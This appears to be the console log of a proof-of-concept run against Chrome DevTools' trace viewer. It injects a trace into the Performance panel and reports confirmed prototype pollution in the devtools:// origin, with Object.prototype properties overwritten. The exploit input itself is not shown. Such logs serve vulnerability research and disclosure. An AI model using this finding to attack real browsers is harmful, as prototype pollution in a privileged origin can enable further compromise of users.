[+] Navigating to devtools://devtools/bundled/trace_app.html?traceURL=http://unused.invalid/x.json
  [console] Main._createAppUI: 45.259033203125 ms
  [log] info Autofocus processing was blocked because a document already has a focused element.
  [console] Main._showAppUI: 131.032958984375 ms
  [log] error Connecting to 'http://unused.invalid/x.json' violates the following Content Security Policy directive: "connect-src data: https://chromeuxreport.googleapis.com 'self' devtools: ws://127.0.0.1:*". The action has been blocked.
  [log] error Fetch API cannot load http://unused.invalid/x.json. Refused to connect because it violates the document's Content Security Policy.
  [exception] Uncaught (in promise) TypeError: Failed to fetch
    at #i (devtools://devtools/bundled/core/sdk/sdk.js:25:16794)
    at new Pn (devtools://devtools/bundled/core/sdk/sdk.js:25:16622)
    at Gg (devtools://devtools/bundled/core/sdk/sdk.js:25:25059)
    at new g (devtools://devtools/bundled/core/protocol_client/protocol_client.js:1:612410)
    at new nr (devtools://devtools/bundled/core/sdk/sdk.js:1:206583)
    at n.createTarget (devtools://devtools/bundled/core/sdk/sdk.js:1:213324)
    at devtools://devtools/bundled/entrypoints/inspector_main/inspector_main.js:3:755
    at Object.qg (devtools://devtools/bundled/core/sdk/sdk.js:25:24925)
    at I.run (devtools://devtools/bundled/entrypoints/inspector_main/inspector_main.js:3:376)
    at #d (devtools://devtools/bundled/entrypoints/main/main.js:11:16764)
[+] Injecting trace into Performance panel (simulating user file/URL drop)
   reveal-dispatched
  [console] Kr.performUpdate failed:  TypeError: Cannot read properties of undefined (reading 'length')
    at Object.Rt (devtools://devtools/bundled/core/platform/platform.js:1:2049)
    at a (devtools://devtools/bundled/panels/timeline/components/components.js:1231:466)
    at ms (devtools://devtools/bundled/panels/timeline/components/components.js:1231:303)
    at Kr.gs (devtools://devtools/bundled/panels/timeline/components/components.js:1223:729)
    at Kr.performUpdate (devtools://devtools/bundled/panels/timeline/components/components.js:1231:202)
    at devtools://devtools/bundled/ui/legacy/legacy.js:12:2766
    at Fa (devtools://devtools/bundled/ui/legacy/legacy.js:12:2804)
  [poll t=0s] {'url': 'devtools://devtools/bundled/trace_app.html?traceURL=http://unused.invalid/x.json', 'isDropped': True, 'isPartial': True, 'objProtoIsDropped': True, 'objProtoIsPartial': True}

======================================================================
[+] PROTOTYPE POLLUTION CONFIRMED in devtools:// origin
======================================================================
{
  "url": "devtools://devtools/bundled/trace_app.html?traceURL=http://unused.invalid/x.json",
  "isDropped": true,
  "isPartial": true,
  "objProtoIsDropped": true,
  "objProtoIsPartial": true
}

Object.prototype.isDropped = True
Object.prototype.isPartial = True
({}).isDropped            = True
({}).isPartial            = True